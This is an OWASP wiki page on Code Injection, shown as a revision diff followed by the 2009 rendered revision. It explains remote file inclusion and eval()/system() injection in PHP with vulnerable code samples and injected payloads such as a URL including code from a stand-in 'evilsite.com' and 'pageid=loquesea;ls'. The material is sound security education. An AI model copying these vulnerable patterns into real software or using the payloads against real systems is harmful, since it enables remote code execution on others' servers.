Difference between revisions of "Code Injection"

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[[Category:OWASP ASDR Project]]
 
[[Category:OWASP ASDR Project]]
[[ASDR Table of Contents]]__TOC__
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Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
  
 
==Description==
 
==Description==
 
 
Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:
 
Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:
  
- class of allowed characters (standard regular expressions classes or custom)
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* class of allowed characters (standard regular expressions classes or custom)
 
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* data format
- data format
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* amount of expected data
 
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* for numerical input, its values
- amount of expected data
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+
- for numerical input, its values
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+
  
 
Code Injection and [[Command Injection]] are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into an application, which then will be executed. Added code is a part of the application itself. It's not external code which is executed, like it would be in Command Injection.
 
Code Injection and [[Command Injection]] are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into an application, which then will be executed. Added code is a part of the application itself. It's not external code which is executed, like it would be in Command Injection.
  
==Risk Factors==
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<!--==Risk Factors==
 
TBD
 
TBD
[[Category:FIXME|need content here]]
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-->
 
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==Examples ==
 
==Examples ==
  
 
'''Example 1'''
 
'''Example 1'''
  
If a site uses the include() fucntion, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code than author of the code had in mind.
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If a site uses the include() function, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code other than the author of the code had in mind.
  
 
The URL below displays information about how to contact with the testsite company.
 
The URL below displays information about how to contact with the testsite company.
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When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.
 
When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.
 
  
 
The example below shows how to use the eval() function:
 
The example below shows how to use the eval() function:
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The code above which smells like a rose may be used to perform a Code Injection attack.
 
The code above which smells like a rose may be used to perform a Code Injection attack.
  
E.g. passing in the URI /index.php?arg=1; phpinfo()
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Example: passing in the URI /index.php?arg=1; phpinfo()
  
 
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While exploiting bugs like these, the attacker doesn't have to limit himself only to a Code Injection attack. The attacker may tempt himself to use Command Injection technique, for example.
Exploiting bugs like these, the attacker doesn't have to limit himself only to a Code Injection attack. The attacker may tempt himself to use Command Injection technique, for example.
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<pre>
 
<pre>
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</pre>
 
</pre>
  
==Related [[Threat Agents]]==
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'''Example 3'''
  
*[[:Category:Command Execution]]
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<pre>
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<?php
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$varerror = system('cat '.$_GET['pageid'], $valoretorno);
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echo $varerror;
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?>
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</pre>
  
==Related [[Attacks]]==
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by using that kind of code we can attak as show in example number 2
  
*[[Command Injection]]
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using live http headers or using method get you can make this kind of petition:
*[[SQL Injection]]
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*[[LDAP injection]]
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*[[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]
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*[[Cross-site scripting]]
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==Related [[Vulnerabilities]]==
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<pre>
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vulnerable.php?pageid=loquesea;ls
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</pre>
  
*[[:Category: Input Validation Vulnerability]]
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ls is the command we are executing but we can use any other commands of the server.
  
==Related [[Controls]]==
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<!--==Related [[Threat Agents]]==
[[Category:FIXME|this was the text here before. I added the link to Input Validation, should there be any more Controls linked here?
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TBD
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-->
  
* validation of the format / expected classes of charachetrs / input/output data size]]
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==Related [[Attacks]]==
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* [[Command Injection]]
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* [[SQL Injection]]
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* [[LDAP injection]]
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* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]
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* [[Cross-site Scripting (XSS)]]
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 +
==Related [[Vulnerabilities]]==
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* [[:Category: Input Validation Vulnerability]]
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 +
==Related [[Controls]]==
 
* [[Input Validation]]
 
* [[Input Validation]]
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* [[Output Validation]]
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* [[Canonicalization]]
  
==Categories==
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==References==
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* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]
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* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]
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* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]
  
 
[[Category:Injection]]
 
[[Category:Injection]]
 
[[Category:Attack]]
 
[[Category:Attack]]
 
[[Category:Injection Attack]]
 
[[Category:Injection Attack]]

Revision as of 18:06, 17 November 2009

This is an Attack. To view all attacks, please see the Attack Category page.



Last revision (mm/dd/yy): 11/17/2009

Description

Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:

  • class of allowed characters (standard regular expressions classes or custom)
  • data format
  • amount of expected data
  • for numerical input, its values

Code Injection and Command Injection are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into an application, which then will be executed. Added code is a part of the application itself. It's not external code which is executed, like it would be in Command Injection.

Examples

Example 1

If a site uses the include() function, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code other than the author of the code had in mind.

The URL below displays information about how to contact with the testsite company.

http://testsite.com/index.php?page=contact.php

Below the altered code is code from http://evilsite.com/evilcode.php. The script "evilcode.php" may contain, for example, a phpinfo() function, which is useful for gaining information about the configuration of the environment in which the web service runs.

http://testsite.com/?page=http://evilsite.com/evilcode.php

One condition must be satisfied for this example to be successful, namely the web server configuration must allow for including files in the "http://" notation.


Example 2

When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.

The example below shows how to use the eval() function:

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

The code above which smells like a rose may be used to perform a Code Injection attack.

Example: passing in the URI /index.php?arg=1; phpinfo()

While exploiting bugs like these, the attacker doesn't have to limit himself only to a Code Injection attack. The attacker may tempt himself to use Command Injection technique, for example.

/index.pho?arg=1; system('id')

Example 3

<?php
$varerror = system('cat '.$_GET['pageid'], $valoretorno);
echo $varerror;
?>

by using that kind of code we can attak as show in example number 2

using live http headers or using method get you can make this kind of petition:

vulnerable.php?pageid=loquesea;ls

ls is the command we are executing but we can use any other commands of the server.


Related Attacks

Related Vulnerabilities

Related Controls

References